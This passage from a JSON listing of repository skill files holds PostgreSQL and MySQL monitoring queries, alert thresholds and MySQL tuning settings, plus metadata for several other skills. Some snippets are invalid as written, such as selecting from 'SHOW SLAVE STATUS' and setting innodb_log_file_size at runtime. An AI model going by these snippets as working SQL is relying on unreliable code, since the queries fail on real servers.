10000\nORDER BY seq_tup_read DESC;\n```\n\n### Database Statistics\n\n```sql\n-- Database size and activity\nSELECT\n    datname,\n    pg_size_pretty(pg_database_size(datname)) as size,\n    numbackends as connections,\n    xact_commit,\n    xact_rollback,\n    round(xact_rollback * 100.0 / NULLIF(xact_commit + xact_rollback, 0), 2) as rollback_pct,\n    blks_read,\n    blks_hit,\n    round(blks_hit * 100.0 / NULLIF(blks_hit + blks_read, 0), 2) as cache_hit_pct\nFROM pg_stat_database\nWHERE datname NOT IN ('template0', 'template1', 'postgres')\nORDER BY pg_database_size(datname) DESC;\n\n-- Checkpoint and bgwriter statistics\nSELECT\n    checkpoints_timed,\n    checkpoints_req,\n    checkpoint_write_time,\n    checkpoint_sync_time,\n    buffers_checkpoint,\n    buffers_clean,\n    buffers_backend,\n    buffers_alloc,\n    round(100.0 * checkpoints_req / NULLIF(checkpoints_timed + checkpoints_req, 0), 2) as req_checkpoint_pct\nFROM pg_stat_bgwriter;\n```\n\n## MySQL Monitoring\n\n### Performance Schema Queries\n\n```sql\n-- Top statements by total latency\nSELECT\n    DIGEST_TEXT as query,\n    COUNT_STAR as exec_count,\n    ROUND(AVG_TIMER_WAIT / 1000000000000, 3) as avg_sec,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_sec,\n    ROUND(MAX_TIMER_WAIT / 1000000000000, 3) as max_sec,\n    ROUND((SUM_TIMER_WAIT / SUM(SUM_TIMER_WAIT) OVER ()) * 100, 2) as pct_total\nFROM performance_schema.events_statements_summary_by_digest\nWHERE SCHEMA_NAME NOT IN ('performance_schema', 'mysql', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 20;\n\n-- Statements with full table scans\nSELECT\n    OBJECT_SCHEMA as db,\n    OBJECT_NAME as tbl,\n    COUNT_STAR as exec_count,\n    SUM_NO_INDEX_USED as full_scans,\n    SUM_NO_GOOD_INDEX_USED as bad_index\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE INDEX_NAME IS NULL\n  AND OBJECT_SCHEMA NOT IN ('performance_schema', 'mysql', 'sys')\n  AND COUNT_STAR > 0\nORDER BY SUM_NO_INDEX_USED DESC;\n\n-- Table I/O statistics\nSELECT\n    OBJECT_SCHEMA,\n    OBJECT_NAME,\n    COUNT_READ,\n    COUNT_WRITE,\n    COUNT_FETCH,\n    COUNT_INSERT,\n    COUNT_UPDATE,\n    COUNT_DELETE,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_latency_sec\nFROM performance_schema.table_io_waits_summary_by_table\nWHERE OBJECT_SCHEMA NOT IN ('performance_schema', 'mysql', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 20;\n```\n\n### InnoDB Status Monitoring\n\n```sql\n-- InnoDB buffer pool status\nSELECT\n    POOL_ID,\n    POOL_SIZE,\n    FREE_BUFFERS,\n    DATABASE_PAGES,\n    OLD_DATABASE_PAGES,\n    MODIFIED_DATABASE_PAGES,\n    PENDING_DECOMPRESS,\n    PENDING_READS,\n    PENDING_FLUSH_LRU,\n    PENDING_FLUSH_LIST\nFROM information_schema.INNODB_BUFFER_POOL_STATS;\n\n-- InnoDB lock waits\nSELECT\n    r.trx_id as waiting_trx,\n    r.trx_mysql_thread_id as waiting_thread,\n    r.trx_query as waiting_query,\n    b.trx_id as blocking_trx,\n    b.trx_mysql_thread_id as blocking_thread,\n    b.trx_query as blocking_query\nFROM information_schema.innodb_lock_waits w\nINNER JOIN information_schema.innodb_trx b ON b.trx_id = w.blocking_trx_id\nINNER JOIN information_schema.innodb_trx r ON r.trx_id = w.requesting_trx_id;\n\n-- Long-running transactions\nSELECT\n    trx_id,\n    trx_state,\n    trx_started,\n    TIMESTAMPDIFF(SECOND, trx_started, NOW()) as duration_sec,\n    trx_requested_lock_id,\n    trx_mysql_thread_id,\n    trx_query\nFROM information_schema.innodb_trx\nWHERE TIMESTAMPDIFF(SECOND, trx_started, NOW()) > 60\nORDER BY trx_started;\n```\n\n### Connection and Process Monitoring\n\n```sql\n-- Current connections by state\nSELECT\n    command,\n    state,\n    COUNT(*) as connections,\n    MAX(time) as max_time_sec\nFROM information_schema.processlist\nGROUP BY command, state\nORDER BY connections DESC;\n\n-- Long-running queries\nSELECT\n    id,\n    user,\n    host,\n    db,\n    command,\n    time,\n    state,\n    LEFT(info, 100) as query\nFROM information_schema.processlist\nWHERE command != 'Sleep'\n  AND time > 10\nORDER BY time DESC;\n\n-- Connection usage\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Max_used_connections';\nSHOW VARIABLES LIKE 'max_connections';\n```\n\n### System Status Variables\n\n```sql\n-- Key buffer efficiency (MyISAM)\nSHOW STATUS LIKE 'Key_%';\n\n-- InnoDB metrics\nSHOW STATUS LIKE 'Innodb_buffer_pool_%';\nSHOW STATUS LIKE 'Innodb_rows_%';\nSHOW STATUS LIKE 'Innodb_data_%';\n\n-- Table locks\nSHOW STATUS LIKE 'Table_locks_%';\n\n-- Temporary tables\nSHOW STATUS LIKE 'Created_tmp_%';\n\n-- Thread cache\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Connections';\n\n-- Query cache (MySQL 5.7)\nSHOW STATUS LIKE 'Qcache_%';\n```\n\n## Cross-Platform Monitoring\n\n### Resource Utilization\n\n```sql\n-- PostgreSQL: Database size growth\nSELECT\n    current_database() as database,\n    pg_size_pretty(pg_database_size(current_database())) as size,\n    (SELECT pg_size_pretty(sum(pg_total_relation_size(schemaname||'.'||tablename)))\n     FROM pg_tables\n     WHERE schemaname = 'public') as public_schema_size;\n\n-- MySQL: Database size\nSELECT\n    table_schema as database,\n    ROUND(SUM(data_length + index_length) / 1024 / 1024, 2) as size_mb\nFROM information_schema.tables\nWHERE table_schema NOT IN ('information_schema', 'performance_schema', 'mysql', 'sys')\nGROUP BY table_schema\nORDER BY size_mb DESC;\n```\n\n### Health Check Queries\n\n```sql\n-- PostgreSQL: Overall health\nSELECT\n    'connections' as metric,\n    count(*) as current,\n    current_setting('max_connections')::int as max\nFROM pg_stat_activity\nUNION ALL\nSELECT\n    'cache_hit_ratio',\n    round((sum(heap_blks_hit) / NULLIF(sum(heap_blks_hit) + sum(heap_blks_read), 0) * 100)::numeric, 2),\n    95\nFROM pg_statio_user_tables\nUNION ALL\nSELECT\n    'database_size_gb',\n    round((pg_database_size(current_database()) / 1024.0 / 1024.0 / 1024.0)::numeric, 2),\n    NULL;\n\n-- MySQL: Overall health\nSELECT 'connections' as metric,\n       (SELECT COUNT(*) FROM information_schema.processlist) as current,\n       @@max_connections as max\nUNION ALL\nSELECT 'buffer_pool_hit_ratio',\n       ROUND((1 - (\n           (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n           (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n       )) * 100, 2),\n       95\nUNION ALL\nSELECT 'slow_queries',\n       (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Slow_queries'),\n       NULL;\n```\n\n## Alert Thresholds\n\n### PostgreSQL Alerts\n\n```sql\n-- Connection pool nearing capacity\nSELECT\n    count(*) as current_connections,\n    current_setting('max_connections')::int as max_connections,\n    CASE\n        WHEN count(*) > current_setting('max_connections')::int * 0.9 THEN 'CRITICAL'\n        WHEN count(*) > current_setting('max_connections')::int * 0.8 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM pg_stat_activity;\n\n-- Cache hit ratio degradation\nWITH cache_stats AS (\n    SELECT\n        round((sum(heap_blks_hit) / NULLIF(sum(heap_blks_hit) + sum(heap_blks_read), 0) * 100)::numeric, 2) as hit_ratio\n    FROM pg_statio_user_tables\n)\nSELECT\n    hit_ratio,\n    CASE\n        WHEN hit_ratio < 90 THEN 'CRITICAL'\n        WHEN hit_ratio < 95 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM cache_stats;\n\n-- Replication lag (on standby)\nSELECT\n    CASE\n        WHEN pg_last_wal_receive_lsn() = pg_last_wal_replay_lsn() THEN 0\n        ELSE EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp()))\n    END as lag_seconds,\n    CASE\n        WHEN EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp())) > 60 THEN 'CRITICAL'\n        WHEN EXTRACT(EPOCH FROM (now() - pg_last_xact_replay_timestamp())) > 10 THEN 'WARNING'\n        ELSE 'OK'\n    END as status;\n```\n\n### MySQL Alerts\n\n```sql\n-- InnoDB buffer pool efficiency\nSELECT\n    ROUND((1 - (\n        (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n        (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n    )) * 100, 2) as buffer_pool_hit_ratio,\n    CASE\n        WHEN (1 - (\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n        )) * 100 < 90 THEN 'CRITICAL'\n        WHEN (1 - (\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads') /\n            (SELECT VARIABLE_VALUE FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests')\n        )) * 100 < 95 THEN 'WARNING'\n        ELSE 'OK'\n    END as status;\n\n-- Replication lag (on replica)\nSELECT\n    Seconds_Behind_Master as lag_seconds,\n    CASE\n        WHEN Slave_IO_Running = 'No' OR Slave_SQL_Running = 'No' THEN 'CRITICAL - Replication stopped'\n        WHEN Seconds_Behind_Master > 300 THEN 'CRITICAL'\n        WHEN Seconds_Behind_Master > 60 THEN 'WARNING'\n        ELSE 'OK'\n    END as status\nFROM (SHOW SLAVE STATUS) s;\n```\n\n## Monitoring Best Practices\n\n1. **Establish baselines** - Record normal performance metrics\n2. **Track trends** - Monitor daily/weekly patterns\n3. **Set thresholds** - Define warning and critical levels\n4. **Automate alerts** - Use monitoring tools (Prometheus, Grafana, Datadog)\n5. **Regular reviews** - Weekly performance analysis meetings\n6. **Document changes** - Track configuration and schema modifications\n7. **Capacity planning** - Monitor growth and forecast needs\n8. **Test queries** - Validate optimizations in staging first\n","isInternal":false,"tokens":3689,"sizeBytes":14596},{"name":"mysql-tuning.md","path":"skills/database-optimizer/references/mysql-tuning.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/database-optimizer/references/mysql-tuning.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# MySQL Tuning\n\n## InnoDB Memory Configuration\n\n### Buffer Pool\n\n```sql\n-- Recommended: 70-80% of system RAM for dedicated MySQL server\n-- For 16GB RAM server:\nSET GLOBAL innodb_buffer_pool_size = 12884901888;  -- 12GB\n\n-- Check buffer pool usage\nSHOW GLOBAL STATUS LIKE 'Innodb_buffer_pool_%';\n\n-- Buffer pool hit ratio (target: >99%)\nSELECT\n    (1 - (Innodb_buffer_pool_reads / Innodb_buffer_pool_read_requests)) * 100 as hit_ratio\nFROM (\n    SELECT\n        VARIABLE_VALUE as Innodb_buffer_pool_reads\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Innodb_buffer_pool_reads'\n) reads,\n(\n    SELECT\n        VARIABLE_VALUE as Innodb_buffer_pool_read_requests\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Innodb_buffer_pool_read_requests'\n) requests;\n\n-- Buffer pool instances (for multi-core systems)\n-- Recommended: 1 instance per 1GB, max 64\nSET GLOBAL innodb_buffer_pool_instances = 8;\n```\n\n### Sort and Join Buffers\n\n```sql\n-- Sort buffer per connection\nSET GLOBAL sort_buffer_size = 2097152;  -- 2MB\n\n-- Join buffer for full joins\nSET GLOBAL join_buffer_size = 2097152;  -- 2MB\n\n-- Temporary table size\nSET GLOBAL tmp_table_size = 67108864;  -- 64MB\nSET GLOBAL max_heap_table_size = 67108864;  -- 64MB\n\n-- Monitor temp table usage\nSHOW GLOBAL STATUS LIKE 'Created_tmp%';\n```\n\n## Query Cache (Deprecated in 8.0)\n\n```sql\n-- MySQL 5.7 and earlier\n-- Note: Removed in MySQL 8.0\nSET GLOBAL query_cache_type = 1;\nSET GLOBAL query_cache_size = 67108864;  -- 64MB\n\n-- Check query cache effectiveness\nSHOW STATUS LIKE 'Qcache%';\n\n-- Query cache hit ratio\nSELECT\n    Qcache_hits / (Qcache_hits + Com_select) * 100 as cache_hit_ratio\nFROM (\n    SELECT VARIABLE_VALUE as Qcache_hits\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Qcache_hits'\n) hits,\n(\n    SELECT VARIABLE_VALUE as Com_select\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Com_select'\n) selects;\n```\n\n## InnoDB Performance Settings\n\n### Log Files and Flushing\n\n```sql\n-- InnoDB log file size (larger = better write performance)\n-- Recommended: 1-2GB for write-heavy workloads\nSET GLOBAL innodb_log_file_size = 1073741824;  -- 1GB\n\n-- Log buffer size\nSET GLOBAL innodb_log_buffer_size = 16777216;  -- 16MB\n\n-- Flush method (O_DIRECT for dedicated server, avoids double buffering)\n-- Set in my.cnf\ninnodb_flush_method = O_DIRECT\n\n-- Flush log at transaction commit\n-- 1 = full ACID (default, safest)\n-- 2 = write to OS cache, flush every second\n-- 0 = write and flush every second (fastest, risk data loss)\nSET GLOBAL innodb_flush_log_at_trx_commit = 1;\n\n-- For replication slaves or analytics (trade safety for speed)\nSET GLOBAL innodb_flush_log_at_trx_commit = 2;\n```\n\n### I/O Configuration\n\n```sql\n-- Read I/O threads\nSET GLOBAL innodb_read_io_threads = 8;\n\n-- Write I/O threads\nSET GLOBAL innodb_write_io_threads = 8;\n\n-- I/O capacity (IOPS your storage can handle)\n-- For SSD: 5000-20000\nSET GLOBAL innodb_io_capacity = 10000;\nSET GLOBAL innodb_io_capacity_max = 20000;\n\n-- Flush method for optimal I/O\n-- my.cnf:\ninnodb_flush_method = O_DIRECT\ninnodb_flush_neighbors = 0  -- Disable for SSD\n```\n\n### Thread Configuration\n\n```sql\n-- Max connections\nSET GLOBAL max_connections = 200;\n\n-- Thread cache (reuse threads)\nSET GLOBAL thread_cache_size = 100;\n\n-- Check thread cache effectiveness\nSHOW STATUS LIKE 'Threads_%';\nSHOW STATUS LIKE 'Connections';\n\n-- Thread cache hit ratio (target: >90%)\nSELECT\n    (1 - (Threads_created / Connections)) * 100 as thread_cache_hit_ratio\nFROM (\n    SELECT VARIABLE_VALUE as Threads_created\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Threads_created'\n) created,\n(\n    SELECT VARIABLE_VALUE as Connections\n    FROM performance_schema.global_status\n    WHERE VARIABLE_NAME = 'Connections'\n) conns;\n```\n\n## Query Optimization\n\n### Slow Query Log\n\n```sql\n-- Enable slow query logging\nSET GLOBAL slow_query_log = 'ON';\nSET GLOBAL long_query_time = 1.0;  -- Log queries > 1 second\nSET GLOBAL log_queries_not_using_indexes = 'ON';\n\n-- Slow query log file location\nSET GLOBAL slow_query_log_file = '/var/log/mysql/slow-query.log';\n\n-- Analyze slow query log with pt-query-digest\n-- $ pt-query-digest /var/log/mysql/slow-query.log\n\n-- Check slow query status\nSHOW GLOBAL STATUS LIKE 'Slow_queries';\n```\n\n### Performance Schema\n\n```sql\n-- Enable performance schema (my.cnf)\nperformance_schema = ON\n\n-- Top queries by total execution time\nSELECT\n    DIGEST_TEXT,\n    COUNT_STAR as exec_count,\n    ROUND(AVG_TIMER_WAIT / 1000000000000, 3) as avg_time_sec,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_time_sec,\n    ROUND((SUM_TIMER_WAIT / SUM(SUM_TIMER_WAIT) OVER ()) * 100, 2) as pct\nFROM performance_schema.events_statements_summary_by_digest\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 10;\n\n-- Full table scans\nSELECT * FROM sys.statements_with_full_table_scans\nORDER BY exec_count DESC\nLIMIT 10;\n\n-- Tables with high I/O\nSELECT\n    object_schema,\n    object_name,\n    count_read,\n    count_write,\n    count_fetch,\n    SUM_TIMER_WAIT / 1000000000000 as total_latency_sec\nFROM performance_schema.table_io_waits_summary_by_table\nWHERE object_schema NOT IN ('mysql', 'performance_schema', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 10;\n```\n\n## Index Optimization\n\n### Index Statistics\n\n```sql\n-- Update index statistics\nANALYZE TABLE users;\n\n-- Check index cardinality\nSHOW INDEX FROM users;\n\n-- Find duplicate/redundant indexes\nSELECT\n    a.table_schema,\n    a.table_name,\n    a.index_name as index1,\n    a.column_name,\n    b.index_name as index2\nFROM information_schema.statistics a\nJOIN information_schema.statistics b\n    ON a.table_schema = b.table_schema\n    AND a.table_name = b.table_name\n    AND a.seq_in_index = b.seq_in_index\n    AND a.column_name = b.column_name\n    AND a.index_name != b.index_name\nWHERE a.table_schema NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys')\nORDER BY a.table_schema, a.table_name, a.index_name;\n\n-- Find unused indexes\nSELECT\n    object_schema,\n    object_name,\n    index_name\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE index_name IS NOT NULL\n  AND count_star = 0\n  AND object_schema NOT IN ('mysql', 'performance_schema', 'sys')\nORDER BY object_schema, object_name;\n```\n\n### Covering Indexes\n\n```sql\n-- Create covering index\nCREATE INDEX idx_users_email_name_created\nON users(email, name, created_at);\n\n-- Query can use covering index\nEXPLAIN\nSELECT name, created_at FROM users WHERE email = 'user@example.com';\n-- Look for \"Using index\" in Extra column\n\n-- Force index usage for testing\nSELECT name FROM users FORCE INDEX (idx_users_email_name_created)\nWHERE email = 'user@example.com';\n```\n\n## Partitioning\n\n### Range Partitioning\n\n```sql\n-- Create partitioned table\nCREATE TABLE events (\n    id BIGINT NOT NULL AUTO_INCREMENT,\n    event_type VARCHAR(50),\n    created_at DATETIME NOT NULL,\n    data JSON,\n    PRIMARY KEY (id, created_at)\n) PARTITION BY RANGE (YEAR(created_at)) (\n    PARTITION p2023 VALUES LESS THAN (2024),\n    PARTITION p2024 VALUES LESS THAN (2025),\n    PARTITION p2025 VALUES LESS THAN (2026),\n    PARTITION pmax VALUES LESS THAN MAXVALUE\n);\n\n-- Query with partition pruning\nEXPLAIN PARTITIONS\nSELECT * FROM events\nWHERE created_at >= '2024-01-01' AND created_at < '2024-02-01';\n-- Should show \"partitions: p2024\"\n\n-- Add new partition\nALTER TABLE events\nADD PARTITION (PARTITION p2026 VALUES LESS THAN (2027));\n\n-- Drop old partition (fast delete)\nALTER TABLE events DROP PARTITION p2023;\n```\n\n### List Partitioning\n\n```sql\n-- Partition by discrete values\nCREATE TABLE orders (\n    id BIGINT NOT NULL AUTO_INCREMENT,\n    user_id BIGINT,\n    status VARCHAR(20),\n    PRIMARY KEY (id, status)\n) PARTITION BY LIST COLUMNS(status) (\n    PARTITION p_pending VALUES IN ('pending', 'processing'),\n    PARTITION p_completed VALUES IN ('completed', 'shipped'),\n    PARTITION p_cancelled VALUES IN ('cancelled', 'refunded')\n);\n```\n\n## Replication Optimization\n\n### Binary Log Settings\n\n```sql\n-- Binary log format\nSET GLOBAL binlog_format = 'ROW';  -- ROW, STATEMENT, or MIXED\n\n-- Binary log cache size\nSET GLOBAL binlog_cache_size = 1048576;  -- 1MB per transaction\n\n-- Sync binary log (durability vs performance)\nSET GLOBAL sync_binlog = 1;  -- Safest, sync after each commit\n-- sync_binlog = 0  -- Fastest, let OS handle flushing\n\n-- Expire binary logs after N days\nSET GLOBAL binlog_expire_logs_seconds = 604800;  -- 7 days\n```\n\n### Replication Lag Monitoring\n\n```sql\n-- On replica: Check replication lag\nSHOW SLAVE STATUS\\G\n\n-- Parse seconds behind master\nSELECT\n    IF(Slave_IO_Running = 'Yes' AND Slave_SQL_Running = 'Yes',\n       Seconds_Behind_Master,\n       NULL) as replication_lag_seconds\nFROM (SHOW SLAVE STATUS) s;\n\n-- Parallel replication (MySQL 8.0+)\nSET GLOBAL slave_parallel_workers = 4;\nSET GLOBAL slave_parallel_type = 'LOGICAL_CLOCK';\n```\n\n## Table Optimization\n\n### Table Maintenance\n\n```sql\n-- Optimize table (rebuilds, reclaims space)\nOPTIMIZE TABLE users;\n\n-- Check table for errors\nCHECK TABLE users;\n\n-- Repair table if corrupted\nREPAIR TABLE users;\n\n-- Analyze table statistics\nANALYZE TABLE users;\n\n-- Check fragmentation\nSELECT\n    table_schema,\n    table_name,\n    ROUND(data_length / 1024 / 1024, 2) as data_mb,\n    ROUND(data_free / 1024 / 1024, 2) as free_mb,\n    ROUND(data_free / data_length * 100, 2) as fragmentation_pct\nFROM information_schema.tables\nWHERE table_schema NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys')\n  AND data_free > 0\nORDER BY fragmentation_pct DESC;\n```\n\n### Table Compression\n\n```sql\n-- InnoDB compression (requires ROW_FORMAT=COMPRESSED)\nCREATE TABLE compressed_logs (\n    id BIGINT AUTO_INCREMENT PRIMARY KEY,\n    message TEXT,\n    created_at DATETIME\n) ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8;\n\n-- Check compression ratio\nSELECT\n    table_schema,\n    table_name,\n    ROUND(data_length / 1024 / 1024, 2) as data_mb,\n    ROUND(index_length / 1024 / 1024, 2) as index_mb,\n    create_options\nFROM information_schema.tables\nWHERE row_format = 'Compressed';\n```\n\n## Configuration File Example\n\n```ini\n# my.cnf - Production optimized for 16GB RAM server\n\n[mysqld]\n# InnoDB Settings\ninnodb_buffer_pool_size = 12G\ninnodb_buffer_pool_instances = 8\ninnodb_log_file_size = 1G\ninnodb_log_buffer_size = 16M\ninnodb_flush_log_at_trx_commit = 1\ninnodb_flush_method = O_DIRECT\ninnodb_flush_neighbors = 0\n\n# I/O Settings\ninnodb_read_io_threads = 8\ninnodb_write_io_threads = 8\ninnodb_io_capacity = 10000\ninnodb_io_capacity_max = 20000\n\n# Connection Settings\nmax_connections = 200\nthread_cache_size = 100\n\n# Query Cache (MySQL 5.7)\n# query_cache_type = 1\n# query_cache_size = 64M\n\n# Temporary Tables\ntmp_table_size = 64M\nmax_heap_table_size = 64M\n\n# Slow Query Log\nslow_query_log = ON\nlong_query_time = 1\nlog_queries_not_using_indexes = ON\n\n# Binary Log\nbinlog_format = ROW\nsync_binlog = 1\nbinlog_expire_logs_seconds = 604800\n\n# Performance Schema\nperformance_schema = ON\n\n# Character Set\ncharacter_set_server = utf8mb4\ncollation_server = utf8mb4_unicode_ci\n```\n","isInternal":false,"tokens":2868,"sizeBytes":11021},{"name":"postgresql-tuning.md","path":"skills/database-optimizer/references/postgresql-tuning.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/database-optimizer/references/postgresql-tuning.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2Freferences%2Fpostgresql-tuning.md -->","isInternal":false,"tokens":2679,"sizeBytes":10284},{"name":"query-optimization.md","path":"skills/database-optimizer/references/query-optimization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/database-optimizer/references/query-optimization.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2Freferences%2Fquery-optimization.md -->","isInternal":false,"tokens":1563,"sizeBytes":6225},{"name":"SKILL.md","path":"skills/database-optimizer/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/database-optimizer/SKILL.md","title":"database-optimizer","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2FSKILL.md -->","frontmatter":{"name":"database-optimizer","description":"Use when investigating slow queries, analyzing execution plans, or optimizing database performance. Invoke for index design, query rewrites, configuration tuning, partitioning strategies, lock contention resolution.","license":"MIT","metadata":{"author":"https://github.com/Jeffallan","version":"1.0.0","domain":"infrastructure","triggers":"database optimization, slow query, query performance, database tuning, index optimization, execution plan, EXPLAIN ANALYZE, database performance, PostgreSQL optimization, MySQL optimization","role":"specialist","scope":"optimization","output-format":"analysis-and-code","related-skills":"devops-engineer"}},"isInternal":false,"tokens":744,"sizeBytes":3867},{"name":"SKILL.md","path":"skills/database-scout/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/database-scout/SKILL.md","title":"database-scout","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-scout%2FSKILL.md -->","frontmatter":{"name":"database-scout","description":"Explore SQLite and PostgreSQL databases: list tables, inspect schemas (columns/types/constraints), preview data, generate Mermaid ER diagrams, and run safe read-only queries. Triggered by requests to explore a database, view table structures, describe tables, generate diagrams, or query data, and by keywords like database exploration, schema, ER diagram, or SQL query.","license":"MIT"},"isInternal":false,"tokens":1158,"sizeBytes":4523},{"name":"SKILL.md","path":"skills/dataset-quality-audit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/dataset-quality-audit/SKILL.md","title":"dataset-quality-audit","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdataset-quality-audit%2FSKILL.md -->","frontmatter":{"name":"dataset-quality-audit","description":"Run comprehensive quality checks on tabular data (CSV/Excel/TSV/JSON), detecting missing values, duplicates, outliers, format issues, and type inconsistencies to produce an overall score, grade, and actionable suggestions. Triggered when users ask to check data quality, find missing or duplicate values, detect outliers, validate formats, profile data, or clean data.","license":"MIT"},"isInternal":false,"tokens":972,"sizeBytes":4016},{"name":"REFERENCE.md","path":"skills/deep-module-refactor/REFERENCE.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/deep-module-refactor/REFERENCE.md","title":"Deep-module-refactor Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdeep-module-refactor%2FREFERENCE.md -->","isInternal":false,"tokens":600,"sizeBytes":2969},{"name":"SKILL.md","path":"skills/deep-module-refactor/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/deep-module-refactor/SKILL.md","title":"deep-module-refactor","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdeep-module-refactor%2FSKILL.md -->","frontmatter":{"name":"deep-module-refactor","description":"Explore a codebase to find opportunities for architectural improvement, focusing on making the codebase more testable by deepening shallow modules. Use when user wants to improve architecture, find refactoring opportunities, consolidate tightly-coupled modules, or make a codebase more AI-navigable."},"isInternal":false,"tokens":865,"sizeBytes":4104},{"name":"app-overview-generator.md","path":"skills/design-system-builder/assets/app-overview-generator.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/design-system-builder/assets/app-overview-generator.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fapp-overview-generator.md -->","isInternal":false,"tokens":763,"sizeBytes":2116},{"name":"design-system.md","path":"skills/design-system-builder/assets/design-system.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/design-system-builder/assets/design-system.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fdesign-system.md -->","isInternal":false,"tokens":1713,"sizeBytes":4143},{"name":"vibe-design-template.md","path":"skills/design-system-builder/assets/vibe-design-template.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/design-system-builder/assets/vibe-design-template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2Fassets%2Fvibe-design-template.md -->","isInternal":false,"tokens":767,"sizeBytes":2170},{"name":"SKILL.md","path":"skills/design-system-builder/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/design-system-builder/SKILL.md","title":"design-system-builder","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdesign-system-builder%2FSKILL.md -->","frontmatter":{"name":"design-system-builder","description":"Extract design systems from reference UI images and generate implementation-ready UI design prompts. Use when users provide UI screenshots/mockups and want to create consistent designs, generate design systems, or build MVP UIs matching reference aesthetics."},"isInternal":false,"tokens":1440,"sizeBytes":6933},{"name":"SKILL.md","path":"skills/dev-guide-generator/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/dev-guide-generator/SKILL.md","title":"dev-guide-generator","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdev-guide-generator%2FSKILL.md -->","frontmatter":{"name":"dev-guide-generator","description":"Generates complete technical tutorials from prerequisites and environment setup to core steps, troubleshooting, and a final cheatsheet. Trigger on requests to write a tutorial, create a setup guide, organize 